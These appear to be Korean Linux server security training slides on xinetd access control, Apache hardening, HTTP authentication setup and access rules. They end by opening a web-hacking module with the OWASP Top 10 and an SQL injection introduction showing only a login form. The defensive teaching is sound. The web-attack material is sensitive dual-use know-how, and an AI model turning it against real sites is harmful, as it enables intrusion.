36 port protocol server server_args 서비스와관련된포트. /etc/service 파일에정의되어있다면이들포트넘버는서로일치되어야한다. 지정된프로토콜은 /etc/protocol 파일에존재해야하는데프로토콜이지정되지않으면디폴트프로토콜이사용된다. 서버경로 서버에주어지는인수 socket_type type wait cps stream(tcp), dgram(udp), raw(ip direct access) 또는 seqpacket() xinetd 는세가지유형의서비스를다룰수있다 1. RPC : /etc/rpc 파일에정의되어있는데그다지잘작동되지않는다 2. INTERNAL : echo, time, daytime, chargen 및 discard 와같은 xinetd 가직접적으로다루는서비스 3. UNLISTED : /etc/rpc 또는 /etc/service 파일에정의되어있지않은서비스 쓰레드에대한서비스동작을정의하는데두가지값이허용될수있다 - yes : 단일쓰레드서비스로이유형의접속은단하나만이서비스될수있다. - no : 정의된최대한계에따라각각의새로운서비스요청에대해 xinetd 는새로운서버를구동한다. 디폴트로이한계는무제한이다. 들어오는접속수를제한하는데, 첫번째인수는숫자자체이다. 한계숫자를넘을때두번째인수로제공되는주어진시간 ( 초 ) 동안서비스가비활성화된다. instances 동시에작동할수있는동일유형서버의최대수를정의한다. max_load per_source 서버에대한최대부하 ( 예를들어 2 또는 2.5) 를나타내는데, 이한계를넘는경우이서버에대한요청은거절된다. 동일호스트로부터의서버접속수를제한하는정수또는 UNLIMITED
37 2. /etc/xinetd.d/* (service) # cat /etc/xinetd.d/telnet service telnet { disable = yes flags = REUSE socket_type = stream wait = no user = root server = /usr/sbin/in.telnetd log_on_failure += USERID } xinetd.conf 에서많은속성들의값을설정할수있는데 only_from, no_access, log_on_success, log_on_failure 등 어떤속성들은디폴트절및각서비스절에제공된값들을동시에보유한다. IP 주소에기초하여머신에대한접근을제어하는 only_from 과 no_access 두속성이있는데우선후자를이용 하여다음과설정한다. no_access = /0 이는서비스접근을완전히막는다. 그러나모든사람에게예를들어 echo(ping) 접근을허용하려면 echo 서비 스를다음과같이설정한다. only_from = /0 다음은이설정을통해얻는로깅메시지이다. Sep 17 15:11:12 charly xinetd[26686] : Service=echo-stream: only_from list and no_access list match equally the address 명확하게접근제어가두속성에포함된주소목록을비교함으로써이루어진다. 클라이언트주소가두목록 모두에일치할때는덜일반적인속성값에의해접근제어가이루어진다. 위와같이속성값이동일한경우 xinetd 는접속선택및거절을할수없으며, 이러한모호함을피하기위해서는다음과속성을설정해야한다. only_from = /8-35 -
38 더욱손쉬운해결방법은다음과같은속성설정을통해접근제어를하는것이다. only_from = 속성값을주지않았다고해서모든접속이실패하는것은아니며, 따라서모든서비스는이와동일한속성에 의해접근을허용한다. 다음은 ftp 서비스에대한예제이다. service ftp { socket_type = stream wait = no user = root server = /usr/sbin/in.ftpd server_args = -l instances = 4 access_times = 7:00-12:30 13:30-21:00 nice = 10 only_from = /24 } 시간제한은물론로컬네트워크상에서만접근이가능하도록설정한것이다
39 4-3. inetd vs Standalone inetd 방식 vs Standalone 방식 inetd 방식 연결요청이들어올경우 inetd가서비스에게연결 메모리낭비적음 느린응답속도 /etc/xinetd.d/ 클라이언트의연결요청이적은경우적합 Standalone 방식 항상 LISTEN 상태 메모리낭비많음 빠른응답속도 /etc/rc.d/init.d 클라이언트의연결요청이많은경우적합 Student Notes inetd 방식과 standalone 방식은시스템의성능문제에있어서서로상반되는모습을보인다. inetd 는메모리의낭비가적어시스템에무리를주지않지만속도가느리다는단점이있고, standalone 방식은속도는빠르지만항상프로세스가대기를해야하기때문에서버에부하를많이주게된다. 그래서비교적연결요청이적은 TELNET 이나 FTP 는 xinetd 를통해서서비스를하고연결요청이많은 HTTP 는 standalone 방식으로서비스하는것이좋다. 만약포털사이트의웹서버가 xinetd 방식이라면사용자들은원활한서비스를받을수없을것이다. 그리고 FTP 나 TELNET 이 standalone 방식이라면잘사용하지않는프로세스가계속메모리만차지하고있어비효율 적이다. 하지만모든서비스가꼭정해져있는것이아니라관리자가잘판단해서결정해야할것이다
40 - 38 -
41 Module 5 Apache Security Objectives Practical httpd.conf configuration Authentication & Access Control Apache Log Files
42 5-1. Practical httpd.conf Configuration Practical httpd.conf Configuration Directory Listing FollowSymLinks Directory Index ServerTokens ServerSignature Server Side Include CGI Script Execute Limitation Student Notes 앞장에서아파치의설정파일에어떤옵션들이있는지살펴보았다. 기본적인내용에서부터보안상중요한기능을하는옵션까지다양했다. 이런보안옵션을잘설정해줌으로서외부의공격이나공격자가공격에필요한정보를얻는행동들을하지못하게할수있다. 하지만단지설정파일의옵션에의해서만보안이되는것은아니다. 다음장에나오는 mod_auth 와같은모듈들에의해더욱강력한보안정책을수립할수있다. 웹해킹의패턴이다양하듯웹서버의설정과모듈을통해대응할수있는방법또한다양하다. 이번장에서는 설정파일과모듈의특성과이것들에의한대응방법들을알아보도록하겠다
43 1. Directory Listing 웹브라우저에서사용자가 URL 을입력했을경우, Apache 웹서버는 3 가지방법응답한다. 정상적으로웹내 용을보여주든지, 디렉토리리스트를보여주든지, 에러메시지를보여준다. 아는것이힘이다라는속담이있다. 원격의공격자가시스템에대한많은정보를획득할수록보안허점을발견하기가용이해진다. 디렉토리리스트를보여주는것또한불필요한정보를공격자에게제공하여공격에이용될수있다. 백업데이터, CGI 소스코드들, 필요에의해만들어놓은심볼릭링크등서버관리자가실수로지우지않은파일들이공격자의손에들어갈수있다. DocumentRoot 디렉토리내의모든파일들이리스팅되는것을방지하기위해서 Options 지시자에서 Indexes 옵션을제거하여야한다
44 위그림은 Indexes 옵션이존재할경우이고아래는 Indexes 옵션을제거한모습이다
45 2. FollowSymLinks 몇몇서버는심볼릭링크를이용해서기존의웹문서이외의파일시스템에접근가능하도록하고있다. 이러한방법은편리할수는있지만심각한보안문제를야기시킬수있다. 가령시스템자체의 root 디렉토리 (/ ) 를링크걸게되면웹서버구동사용자권한 (nobody) 으로모든파일시스템의파일에접근할수있게된다. 즉, /etc/passwd 와같은대단히민감한파일까지누구나열람가능하게된다. Options 지시자에서심볼릭링크를가능하게하는옵션인 FollowSymLinks 를제거함으로써이를막을수있다
46 3. DirectoryIndex DirectoryIndex 는사용자가디렉토리이름끝에슬래쉬 (/) 를붙여서디렉토리의인덱스를요구한경우, 리턴할자원의목록을지정하는지시자이다. 예를들어 DirectoryIndex 지시자가다음과같이설정되어있고클라이언트가디렉토리인덱스 를요구한경우, 아파치는제일먼저 info 디렉토리에서 index.cgi 파일을찾아서리턴해준다. 그파일이없으면 index.shtml 파일, index.html 순으로찾게된다. DirectoryIndex index.cgi index.shtml index.html 그런데여기서리스트의순서에주의해야한다. Index.html 파일이존재한다하더라도공격자가 index.cgi 파일 을업로드한다면, index.html 대신 index.cgi 파일이처리될것이다. 따라서 DirectoryIndex 의목록이적절하게배열되어있는지점검하도록한다. 4. ServerTokens 클라이언트가 Apache 웹서버에접속했을때웹서버에서는응답메시지의헤더에웹서버버전, 설치된응용 프로그램등과같은정보를전달한다. conf]# telnet Trying Connected to Escape character is '^]'. GET / HTTP/1.1 HTTP/ Bad Request Date: Mon, 03 Jan :04:03 GMT Server: Apache/ (Unix) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>bad Request</h1> <p>your browser sent a request that this server could not understand.<br /> </p> <hr /> <address>apache/ (Unix) Server at Port 80</address> </body></html> Connection closed by foreign host. 이정보는공격자에의해 Apache 웹서버버전별또는구동되고있는응용프로그램에잘알려진취약점을공
47 격하는데유용하게이용될수있으며, 인터넷웜과같은자동화된공격에서도이러한 banner 정보가사용되어지기도한다. 따라서공격자에게웹서버의버전과같은 banner 정보를숨기는것이안전하다. Apache 웹서버에서는 ServerTokens 지시자를수정함으로써헤더에의해전송되는정보를바꿀수있다. Syntax : ServerTokens Minimal ProductOnly OS Full ServerTokens 지시자에서설정할수있는각키워드에의해나타나는정보는다음과같다. 키워드 제공하는정보 예 Prod[uctOnly] 웹서버종류 Apache Min[imal] 웹서버종류 + 버전 Apache/ OS 웹서버종류 + 버전 + 운영체제 Apache/2.0.50(Unix) Full 웹서버종류 + 버전 + 운영체제 + 설치된모듈 ( 응용프로그램 ) 정보 Apache/2.0.50(Unix) PHP/4.3.0 ServerTokens 는 Apache 1.3 이상에서가능하고 ProductOnly 키워드는 이상의버전에서사용가능하다. 일반적으로 ServerToken 은 httpd.conf 에서명시되어있지않는경우가많은데이럴경우에는기본값인 ServerTokens Full 이적용되어운영체제정보, 웹서버정보, 버전정보, 설치된모듈정보등이모두서버의응답헤더에포함되어클라이언트에게전송된다. 최소한의정보를주기위해서 ServerTokens Prod 를설정하는것이바람직하다. 혹자는공격자를속이기위해 서서버의헤더정보를앞에서명기한내용과는전혀다른내용으로조작하여클라이언트에보내기를원할 수도있는데이경우에는 Apache 소스코드를수정해서재컴파일하여야하므로권고하지않는다
48 5. ServerSignature ServerSignature 는서버가만든문서의꼬리말 (trailing footer) 을설정하다. 이러한꼬리말이필요한이유는프락시체인형성시, 사용자가실제로어느서버가에러메시지를리턴했는지알수있도록하기위해서다. 이값이 on 으로설정되어있으면다음그림과같이아파치버전과가상호스트의 ServerName, ServerAdmin 이노출된다. ServerSignature 를 off 로설정하면다음그림과같이아무런정보를보여주지않는다
49 6. PUT 과 POST 제한 원격사용자는 DocumentRoot 디렉토리구조에파일을업로드하거나수정하는행위가제한되어야한다. 물론 DocumentRoot 의파일 / 디렉토리퍼미션을사용해서도웹을통한파일업로드및수정을막을수는있다. 하지만, 적절한제한이이루어지지않을경우홈페이지가변조되거나웹사이트가침해당할수있으므로 <Limit> 태그를이용하여각디렉토리별로 HTTP Method 의사용여부를통제할수있다. 파일업로드및파일의수정을위해서사용되는 HTTP Method 는 PUT 과 POST 이다. 다음의예는개인사용자홈디렉토리에서 POST, PUT, DELETE Method 를패스워드파일에등록된사용자만 이이용가능하도록제한한것이다. <Directory /home/*/public_html> <Limit POST PUT DELETE> Require valid-user </Limit> </Directory> 7. CGI Script Execute Limitatioin 사용자들이 CGI 스크립트들을어느디렉토리에서나실행할수있도록할경우악의적인사용자가 CGI 프로그램을업로드한후이를실행하여임의의명령을실행시킬수있다. 따라서, CGI 프로그램의실행은관리자가지정한특정디렉토리에서만가능하도록제한할필요가있다. CGI 실행은 ScriptsAlias 지시자에의해서실행가능한디렉토리를제한할수있다. ScriptsAlias 지시자문법은다음과같다. Syntax : ScriptAlias URL-path file-path directory-path 예를들어 cgi-bin 이라는디렉토리에서만실행가능하도록할경우다음과같이지정할수있다. ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/ " 앞서언급한디렉토리리스팅, 심블릭링크, SSI 등에대한제어는 Options 지시자에의해제어가가능하다. Syntax : Options [+ -]option [[+ -]option]... Options 지시자에 ExecCGI 를설정하는방법은다음과같다. CGI 스크립트의실행을허용할디렉토리의디렉
50 토리섹션에서 Options 지시자옆에 ExecCGI 를명시하고, AddHandler 로 CGI 스크립트로처리할파일의확장 자를지정해주면된다. <Directory /home/httpd/html/cgi-bin > Options ExecCGI... </Directory>... AddHandler cgi-script.cgi 운영중인웹서버의경우설정파일을분석하여 CGI 스크립트가실행될필요가없는디렉토리에대해위와 같은방법으로 CGI 스크립트가실행가능하도록설정되어있는지점검해볼필요가있다
51 5-2. Authentication & Access Control Authentication & Access Control Basic Authentication Digest Authentication Database Authentication Access Control Student Notes 접근을허락하기에앞서사용자나호스트인증과접근통제를위한몇몇기능이 Apache 에있다. 이는특정한 IP 주소나서브넷에따라서접속을허락하거나거부할수있고, 사용자이름과패스워드에의해서사용자를 인증할수도있다. 아파치에서일반적인인증절차는다음과같다. 클라이언트가특정자원을요청하고그자원이인증기능을통해서보호되었다면, 아파치는클라이언트의요청에대한응답으로 401 Authentication Required 헤더를보내서클라이언트에게사용자증명서 (credential) 를요구한다. 클라이언트는 401 response 헤더를받으면, 위그림과같이사용자에게아이디와패스워드를요구한다. 사용자가아이디와패스워드를입력하면, 클라이언트는그값을서버에게전송한다. 그러면서버는아이디와패스워드가정확한지점검한후에, 요청된자원을클라이언트에게전달한다
52 Basic Authentication HTTP 는 stateless 프로토콜이므로기본적인사용자인증에의해보호되는자원에접근하기위해서는매번사용자이름과패스워드와같은인증서를서버에보내야만한다. 하지만초기인증을거친후다른페이지에접근하기위해서매번사용자이름과패스워드를서버에전송하는것은일반적으로클라이언트소프트웨어나웹브라우저에의해서자동으로이루어진다. 만약사용자이름이웹서버의리스트에있고, 패스워드가일치하면보호된자원에접근을허락받게된다. 기본적인인증에서는패스워드가암호화되어서저장되지만클라이언트에서서버로전송되는도중에는암호화되지않아제 3 자에의해서도청될수있다. 보호된자원에접속하는매순간마다 ID 와패스워드가전송되므로 telnet, ftp 등인증을하는다른서비스보다쉽게도청이가능하다. 뿐만아니라서버에서클라이언트로전송되는어떠한데이터에대해서도암호화가제공되지않으므로내용도가로채기가용이하다. 따라서기밀성이중요시되는웹서버에서는이러한인증은권장할수없다. Digest Authentication 두번째인증방법으로는다이제스트인증이있는데기본적인인증과의차이점은네트워크등전송로상에서패스워드가평문으로전송되지않는다는점이다. 패스워드는 MD5 암호화해쉬를시킨후전송한다. 다이제스트인증은패스워드를암호화해서전송하고는있지만데이터는평문으로전송되므로문제점을가지고있고, 또한모든웹브라우저가다이제스트인증을지원하지는않는다는문제점이있다. Database Authentication DB 인증모듈은사용자이름과패스워드를보다신속하게확인할수있도록한다. 서버에다수의사용자이름과패스워드가저장되어있을경우사용자가데이터에접근하기위한인증과정에많은시간이소모될수있다. 일반파일시스템이아닌 DB 를이용할경우사용자이름과패스워드확인시간을대단히단축할수있다
53 5-3. Basic Authentication Basic Authentication # htpasswd -c /usr/local/.passwd demantos # htpasswd /usr/local/.passwd <username> <Directory /usr/local/httpd/htdocs/admin > AuthType Basic AuthName SecuBits AuthUserFile /usr/local/.passwd Require valid-user </Directory> Student Notes 기본사용자인증과다이제스트사용자인증의설정방법은대단히유사한데다음과같은절차를거쳐서설 정할수있다. 패스워드파일생성 패스워드파일을사용할수있도록 Apache 환경설정
54 패스워드파일생성패스워드파일은외부에서외부에서접근이불가능한곳에위치해야한다. 파일내부에는암호화가되어있기는하지만패스워드파일획득시복호화가가능하기때문이다. 다음과정은 htpasswd 프로그램을이용하여패스워드파일을생성하는과정이다. # htpasswd -c /usr/local/.passwd demantos New password: Re-type new password: Adding password for user demantos 새로운사용자를추가하고자할때는 -c 옵션을빼고해야한다. -c 옵션은패스워드파일을새로생성하기때 문에사용자추가시이옵션을사용하면기존사용자에대한패스워드가사라지게된다. # htpasswd /usr/local/.passwd mitnik New password: Re-type new password: Adding password for user mitnik 패스워드파일은최소한의퍼미션만있어야한다. # chown root.nobody /usr/local/.passwd # chmod 640 /usr/local/.passwd 이때패스워드파일에대한퍼미션을수정하지않으면정상적으로패스워드를입력하여도접근이불가능하다. 웹을통해접근하는사용자는 nobody 의권한을가지고있으므로 nobody 라는사용자나그룹이적어도읽기는가능해야한다. 퍼미션을 644 로할수도있지만 root 사용자나 nobody 그룹이외에는접근을하지못하게하기위해서위와같이설정을해주는것이다
55 httpd.conf 수정 이번에는패스워드파일을사용하기위해 httpd.conf 파일을수정하도록하겠다. 인증을원하는경로를지정하 고다음과같이쓸수있다. <Directory "/usr/local/httpd/htdocs/admin"> AuthType Basic AuthName "SecuBits" AuthUserFile /usr/local/.passwd Require user demantos </Directory> AuthType : 인증타입. 여기서는 Basic AuthName : 인증영역식별자 (realm) AuthUserFile : 패스워드파일의위치 AuthGroupFile : 그룹파일의위치 ( 선택사항 ) Require : 허가를주기위해만족시켜야하는요구사항들 위의예제는 /admin 이라는경로는 demantos 만이접근이가능하게설정되어있다. 패스워드파일에지정되어 있는모든사용자에대해서접근을허가하고자한다면다음과같이쓸수있다. <Directory "/usr/local/httpd/htdocs/admin"> AuthType Basic AuthName "SecuBits" AuthUserFile /usr/local/.passwd Require valid-user </Directory>
56 5-4. Digest Authentication Digest Authentication # htdigest -c /usr/local/.digest_passwd secubit demantos # htdigest /usr/local/.digest_passwd secubit <username> <Directory "/usr/local/httpd/htdocs/digest"> AuthType Digest AuthName "secubit" AuthDigestFile /usr/local/.digest_passwd Require valid-user </Directory> Student Notes Digest Authentication 은 mod_auth_digest 모듈에의해구현되었다. 이인증방식의특징은패스워드가 MD5 digest 형태로전송된다는것이다. 이방식을사용하기위해서는 mod_auth_digest 가설치되어야한다. 이모듈은아파치설치시 --enable-auth-digest 옵션을주어아파치를설치해야한다. 기본인증방식과패스워드파일생성방법은비슷하다. 다른점은인증영역식별자가인자값으로들어간다 는것이다
57 # htdigest -c /usr/local/.digest_passwd secubit demantos Adding password for demantos in realm secubit. New password: Re-type new password: secubit 은인증영역식별자로, httpd.conf 파일에서 AuthName 지시자를사용해서지정되는이름과동일해야한다. 기존패스워드파일에추가하는경우에는 -c 플래그를생략하도록한다. 생성된패스워드파일은반드시문서디렉토리밖에저장하여외부에서접근이불가능하도록해야한다. 비록내용이암호화되어있더라도우선접근이가능하면패스워드를알아낼수있는기회가주어질수있기때문이다. 또한사용자들로하여금웹사이트의패스워드와다른중요한것들의패스워드를다르게사용하도록권장한다. <Directory "/usr/local/httpd/htdocs/digest"> AuthType Digest AuthName "secubit" AuthDigestFile /usr/local/.digest_passwd Require valid-user </Directory>
58 5-5. Database Authentication Database Authentication # dbmmanage /usr/local/.passwd.dat adduser demantos <Directory "/usr/local/httpd/htdocs/dbm"> AuthType Basic AuthName "SecuBits - DBM Authentication" AuthDBMUserFile /usr/local/.passwd.dat AuthDBMType GDBM Require user demantos </Directory> Student Notes Basic authentication 과 digest authentication 은둘다인증정보를저장하는데텍스트파일을사용하는단점이있다. 텍스트파일은인덱싱이안되기때문에검색속도가느리다. 또한 HTTP 가 stateless 이기때문에컨텐츠가요청될때마다인증이수행되어야하고텍스트파일에서검색을수행해야한다. 최악의경우사용자이름이텍스트파일에없으면파일의모든라인을점검해야한다. 사용자가적은경우에는이것이큰문제가되지않지만, 사용자가많은경우웹서버의응답이매우느려진다. 실제로많은경우정상적인사용자이름과패스워드를입력해도인증모듈이그파일에서사용자를찾는데시간이엄청나게걸리기때문에아파치가인증실패를리턴할수있다. 이런경우에다른대안으로데이터베이스를사용하는것이좋다. 아파치는다양한데이터베이스를사용해서인증을수행할수있도록많은모듈을제공한다. 여기에서는 mod_auth_dbm 에대해설명한다
59 이모듈은사용자이름과패스워드를 DBM 파일에저장할수있게한다. 만약사용하고있는플랫폼에서 DB 지원을하지않는다면설치를해야한다. Berkeley 데이터베이스파일로알려진 DB 파일은가장간단한형태의데이터베이스로서 HTTP 인증에적합하다. DB 파일은키와값의페어를저장한다. 즉, 변수의이름과변수의값을저장한다. 다른데이터베이스는한레코드에많은필드가저장될수있지만, DB 파일은키와값의페어만을저장한다. 이것은사용자이름과패스워드를요구하는인증에아주적합하다. 이방식도 digest 방식과같이사용하기위해서는 mod_auth_dbm 가설치되어야한다. 이모듈은아파치설치시 다음옵션으로설치할수있다. --enable-auth-dbm 사용자파일생성 여기서사용되는파일은일반텍스트파일이아니라 DB 파일이다. dbmmanage 라는유틸로파일을생성할수 있다. # dbmmanage /usr/local/.passwd.dat adduser demantos New password: Re-type new password: User demantos added with password encrypted to I3kmoSjOBRtGQ using crypt 아파치설정은다음과같다. <Directory "/usr/local/httpd/htdocs/dbm"> AuthType Basic AuthName "SecuBits - DBM Authentication" AuthDBMUserFile /usr/local/.passwd.dat AuthDBMType GDBM Require user demantos </Directory>
60 5-6. Access Control Access Control 영역 / 범위지정 <Directory> </Directory> <DirectoryMatch> </DirectoryMatch> <Files> </Files> <FileMatch> </FileMatch> <Location> </Location> <LocationMatch> </LocationMatch> <Limit> </Limit> <LimitExcept> </LimitExcept> mod_access 확장자별접근제어 환경변수별접근제어 Student Notes 아파치에서의접근제어는탄력이있다. 이말은관리자가어떻게설정하느냐에따라서그결과는천차만별 이라는것을뜻한다. 자세한설정을보기전에먼저영역이나범위를설정하는지시어에는어떤것이있는지 알아보도록하겠다. <Directory> </Directory> <DirectoryMatch> </DirectoryMatch> <Files> </Files> <FileMatch> </FileMatch> <Location> </Location> <LocationMatch> </LocationMatch> <Limit> </Limit> <LimitExcept> </LimitExcept> 위의지시어들은접근을제어할영역이나범위혹은패턴을정의한다. 이런지시어들을사용하여특정디렉
61 토리나특정파일들에대해서만접근을제어할수있다. 아주간단한예제하나를보도록하겠다. Linux Server Security <FileMatch ^(.*\.pl.*localconfig.* check.sh)$> deny from all </FileMatch> 이것은확장자가.pl 이거나 localconfig 라는문자열을포함하거나 check.sh 와파일이름이매치가되면모든접 근을거부한다는것이다. ^ 는시작을의미하고 $ 는끝을의미한다. 그러면지금부터는좀더세부적인접근제어에대해서알아보자. 먼저위의예제에서보이는영역내부에들 어있는접근제어지시어에대해서알아보도록하겠다. mod_access 에의한접근제어 클라이언트가사용하는호스트의 IP 주소나도메인에의해서웹서버의데이터에대한접근을통제할수있다. 기본적인서버설정은 DocumentRoot 의내용에대해누구나접속을허락하도록설정되어있다. Apache 의 Allow 와 Deny 지시자는사용자시스템의호스트이름과호스트주소를근간으로접속을허락또는차단할수있도록지정할수있다. 또한, Allow 와 Deny 지시자를동시에사용할경우그순서를정하는 Order 지시자를사용하여보다정교한정책설정을할수있다. 또한이지시자들은위의인증방식들과함께사용하여더욱강력한인증정책을수립할수있다. 먼저지시자들에대해서알아보자. 지시자 Order Deny, Allow Order Allow, Deny Order Mutualfailure 설명 deny 지시자가 allow 지시자보다먼저검사된다. 접근은기본적으로허용된다. 즉, deny 지시자나 allow 지시자에일치하지않는클라이언트의접속은허용한다. allow 지시자가 deny 지시자보다먼저검사된다. 접근은기본적으로차단된다. 즉, deny 지시자나 allow 지시자에일치하지않는클라이언트의접속은차단한다. allow 리스트에있고 deny 리스트에없는호스트만접근을허용한다. 순서는 allow, deny 일때와같다. 다음설정을보도록하자. Order Allow,Deny Allow from all Deny from
62 이설정은 이라는아이피만차단한다. Order Deny,Allow Deny from all Allow from.company.com 이설정은.company.com 도메인즉, 회사내부에서만접속이가능하도록하는설정이다. deny from deny from domain.com attacker.com deny from tld 이설정은 C 클래스의아이피나 domain.com attacker.com 그리고탑레벨도메인으로부터접근을 막는설정이다. tld 는 Top Level Domain 의약자로.com 이나.gov,.net 과같은탑레벨도메인을의미한다. 여기에추가적으로 Satisfy 라는지시자가있는데인증방식과접근제어방식을같이사용할때사용된다. 권한부여는특정한자원에접근할사용자퍼미션이유효한지를확인하는과정이다. 어떤퍼미션에의해허락되고거부될지는자원과그자원과관련된규칙들에따라서대단히다양하다. 각파일과디렉토리구조는다른접근통제나사용자인증방법을가질수있다. 접근통제와사용자인증방법을사용하여각자원에대한다양한권한을부여할수있다. 가령인터넷에서접속시에는사용자이름과패스워드를확인하고인트라넷에서접속시에는요구하지않도록설정할수도있다. 이는 Satisfy 지시자를통해서구현할수있다. 즉, Satisfy 지시자는사용자인증 (Require 에의한 ) 과클라이언트호스트주소에따른접근통제 (Allow 에의한 ) 를동시에사용하여정책설정을할때쓰인다. Syntax : Satisfy any all 다음예는인트라넷밖에서의모든접속시패스워드를요구하고인트라넷내부의사용자들은패스워드없이 접속을허용하도록설정한예이다. order deny,allow deny from all allow from AuthType Basic AuthName "Welcome SecuBits" AuthUserFile /usr/local/.passwd Require valid-user Satisfy Any
63 AuthType 에의해인증을거치거나혹은내부사용자일경우두가지조건중하나만맞으면정상적으로접근이가능하다. 하지만이방법은추천되는방법은아니다. 정말중요한네트워크라면두가지조건을모둔만족하게하는 Satisfy All 로설정을해주어야한다. 물론인증방식또한기본인증방식이아닌다이제스트인증방식이나데이터베이스인증방식을채택하는것이안전하다. 이외에도 Extended Access Control 모듈이나 Realtime Blackhole List 모듈에의해서접근을제어할수있다. 이 모듈들에의한접근제어는다음장에서보도록하겠다. 확장자별접근제어 앞서학습했던디렉토리인섹싱이되지않는다면공격자들은절대경로를사용하여원하는파일을얻어낼려 고할것이다. 이때사용되는파일의확장자중특정확장자는웹을통해서접근을못하게할수있다. 다음예제를보자. <Directory /usr/local/httpd/htdocs> Order deny, allow Deny from all <FileMatch \.(html? jpe?g bmp gif)$ > Order deny, allow Allow from all </FileMatch> ErrorDocument 403 /access_deny.html </Directory> 위의설정은 html, jpg, bmp, gif 파일이외의파일은접근이허용되지않으며, 이외의파일에접근시접근에러 메시지가담긴 access_deny.html 의내용을보여주게된다. 위의내용을약간변경시켜서다음과같이사용할수있다. <Directory /usr/local/httpd/htdocs> Order deny, allow Allow from all <FileMatch \.(conf(ig)? bak tmp)$ > Order deny, allow Deny from all </FileMatch> ErrorDocument 403 /access_deny.html </Directory> config, conf, bak, tmp 의확장자를갖는파일들에대해서는접근을제한하게된다. 다음장에서나오는 rewrite 모듈을사용하여접근을제한할수도있지만만약 rewrite 모듈을설치하지않았을 경우 mod_access 는기본적으로설치되는모듈이기때문에이렇게지정할수도있다
64 환경변수별접근제어 클라이언트의환경에따라접근을허용할지안할지를결정할때사용된다. 보통브라우저에많이적용을시키게되는데클라이언트가 MSIE 로접속할때만허용하고다른웹브라우저인경우에는접근을제한하게한다. 이것은보안보다는서버의성능과환경이 MSIE 에맞추어져있기때문에최대의성능위해서사용하는경우가많다. 다음예제를보도록하자. BrowserMatch ^MSIE InternetExplorer <Directory /msie_html> Order deny, allow Deny from all Allow from env=internetexplorer </Directory> ^MSIE 는 HTTP 헤더중 User-Agent 에클라이언트의브라우저에대한정보가있는부분을이야기한다. 시작 이 MSIE 일경우를 InternetExplorer 라는환경변수에지정을하고이환경변수와일치할때만접근을허용하 는정책이다
65 Module 6 Web Hacking Objectives Web Application Overview SQL Injection File Upload Attack Query 를이용한내부명령어실행 원격지파일의명령어실행 Cross-Site Scripting
66 6-1. Web Application Vulnerability Web Application Vulnerability Reverseengineering HTTP cookies. Extend SQL statements Web Client Web Server Web app Web app Web app Web app DB DB web server mis-configuration poor checking of user inputs Student Notes 최초의웹페이지는정적 (static) 이었다. 즉, 모든사람들이누군가에의해만들어진똑같은페이지만을볼수가있었다. 대표적인웹언어로분량이많지않고부담이적은 HTML 이있다. HTML(Hyper Text Markup Language) 은단순하고직설적이며어려운개념이거의포함되어있지않다. 현재의웹페이지들은상호작용을하며동적데이터를갱신하고복잡한그래픽화면에필요한동작들을한다. 대표적인예로 JSP, ASP, PHP 등이있다. 이러한웹페이지를동적 (dynamic) 웹페이지라고한다. 동적웹페이지는사용자가입력한값에따라서서버에서사용자에게보여주는페이지가달라진다
67 OWASP(Open Web Application Security Project) 웹어플리케이션보안에비젼을가진회사와개인들의자발적인참여로이루어진오픈프로젝트, 다양한가 이드, 툴, 점검리스트, 자료등을제공하며웹어플리케이션보안에대해상당히권위있는단체이다. 해마다 웹어플리케이션의 10 대취약점과대응책을발표하고있다. 아래에있는 OWASP TOP 10 리스트는즉각적인개선조치가필요한취약점리스트들이다. 현존하는어플리 케이션의소스에해당취약점이존재하는지지금즉시점검해야한다. 웹애플리케이션의 10 대취약점 A1 입력값검증부재 웹요청정보가웹애플리케이션에의해처리되기이전에적절한검증이 이루어지고있지않다. 공격자는이취약점을이용하여웹애플리케이션 의백엔드컴포넌트를공격할수있다. A2 A3 A4 A5 A6 A7 취약한접근통제 취약한인증및세션관리 크로스사이트스크립팅 (XSS) 취약점 버퍼오버플로우 삽입취약점 부적절한에러처리 인증된사용자가수행할수있는작업을적절히제한하지않고있다. 공격자는이취약점을이용하여다른사용자의계정에접근하거나, 민감한정보가담긴파일을열람하거나, 허용되지않은작업을수행할수있다. 계정토큰과세션토큰이적절히보호되고있지않다. 공격자는암호나키, 세션쿠키, 기타인증관련토큰을공격하여인증을우회하고다른사용자의 ID 를가장할수있다. 웹애플리케이션이다른사용자의브라우저를공격하는도구로사용될수있다. 공격이성공하는경우일반사용자의세션토큰이노출되거나, 사용자의컴퓨터를공격하거나, 다른사용자를속이기위해위조된컨텐츠를보여주게된다. 웹애플리케이션컴포넌트가사용자의입력값을적절히점검하지않는언어로작성되어다운될수있다. 특수한경우에는공격자가해당프로세스의권한을획득할수있다. 이컴포넌트로는 CGI, 라이브러리, 하드웨어드라이버, 웹애플리케이션서버컴포넌트등이포함된다. 웹애플리케이션이외부시스템이나자체 OS 에접근할때입력받은인자를그대로전달한다. 공격자가해당인자로악의적인명령어를삽입하는경우, 해당외부시스템은웹애플리케이션으로인해입력받은명령어를실행할수있게된다. 일상적인운용과정중에발생하는에러상황에대해적절한처리가이루어지지않는다. 공격자가웹애플리케이션이처리하지못하는에러가발생하도록유도하여, 해당시스템에대한상세정보를획득하거나, 서비스를방해하거나, 보안메커니즘이작동하지않도록할수있으며, 서버가다운될수도있다
68 A8 A9 A10 취약한정보저장방식 서비스방해공격 부적절한환경설정 웹애플리케이션은정보나인증관련토큰을보호하기위해암호화를자주사용한다. 암호화관련기능이나코드는적절하게구현하기가어려움이이미증명되었으며, 많은경우오히려보안상바람직하지않은결과를초래한다. 공격자가다른정당한사용자가사이트에접속하거나, 애플리케이션을사용하는것을방해하기위해웹애플리케이션의리소스를고갈시킬수있다. 공격자는또한다른사용자가본인소유의계정을사용하지못하도록계정을잠글수있으며, 심지어웹애플리케이션전체가멈추도록할수있다. 강화된서버환경설정표준을보유하는것은안전한웹애플리케이션에있어결정적으로중요한부분이다. 해당서버는보안에영향을미치는다양한환경설정옵션이있으며, 벤더출하시에는기본적으로안전하지않은상태로출시된다
69 6-2. SQL Injection SQL Injection Student Notes 1. General SQL Injection SQL injection 은웹페이지를통해서입력하는것처럼 SQL query/command 를삽입하기위한트릭이다. 기본적인로그인페이지에서아이디와패스워드를입력하는부분은다음과같다. <form method=post name=login action=login_ok.asp> <input type=text name=id> <input type=text name=pass> </form> 우리가입력하는아이디와비밀번호값은각각 id 과 pass 에입력되어 login_ok.asp 로넘겨져처리된다
